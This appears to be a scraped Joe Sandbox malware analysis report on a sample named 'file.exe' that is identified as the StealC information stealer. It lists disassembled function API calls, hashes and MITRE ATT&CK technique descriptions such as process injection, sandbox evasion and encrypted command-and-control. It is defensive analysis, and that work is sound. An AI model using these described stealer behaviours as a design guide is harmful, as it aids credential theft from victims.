Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 4af147fd92ea2897101573cbf0fd03a02626143419257a7fd5e947578d60aa72
Instruction ID: 5596c2079e8d225937d570685be368a55add23e6e7896eb405e20ac2a6935351
Opcode Fuzzy Hash: 4af147fd92ea2897101573cbf0fd03a02626143419257a7fd5e947578d60aa72
Instruction Fuzzy Hash: E0F090329C07019BD7A8BFB85807B8F33A3AF00730F24924DF415A72D2DB6459419E5E

Function 00604F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00608DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608E0B

lstrcat.KERNEL32(?,00000000), ref: 00604F7A
lstrcat.KERNEL32(?,00611070), ref: 00604F97
lstrcat.KERNEL32(?,01408B70), ref: 00604FAB
lstrcat.KERNEL32(?,00611074), ref: 00604FBD

Part of subcall function 00604910: wsprintfA.USER32 ref: 0060492C
Part of subcall function 00604910: FindFirstFileA.KERNEL32(?,?), ref: 00604943

Part of subcall function 00604910: StrCmpCA.SHLWAPI(?,00610FDC), ref: 00604971
Part of subcall function 00604910: StrCmpCA.SHLWAPI(?,00610FE0), ref: 00604987
Part of subcall function 00604910: FindNextFileA.KERNEL32(000000FF,?), ref: 00604B7D
Part of subcall function 00604910: FindClose.KERNEL32(000000FF), ref: 00604B92

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 665daac4ba21e870186917f01ded518f35694624433468d330051da67c182a1f
Instruction ID: d545b419ce1de1891b247de87510c22b1713bf70c5e9bef6de8a7ff7542bb51b
Opcode Fuzzy Hash: 665daac4ba21e870186917f01ded518f35694624433468d330051da67c182a1f
Instruction Fuzzy Hash: B5219B76940208ABC758F7B0DC46EEA333DBB94300F004958B6DA571C1EE7596C88F96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00609860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 005F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00609C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 005F6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00605510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 006017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00607500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 006069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00606AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 005F47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 006051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 005F1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON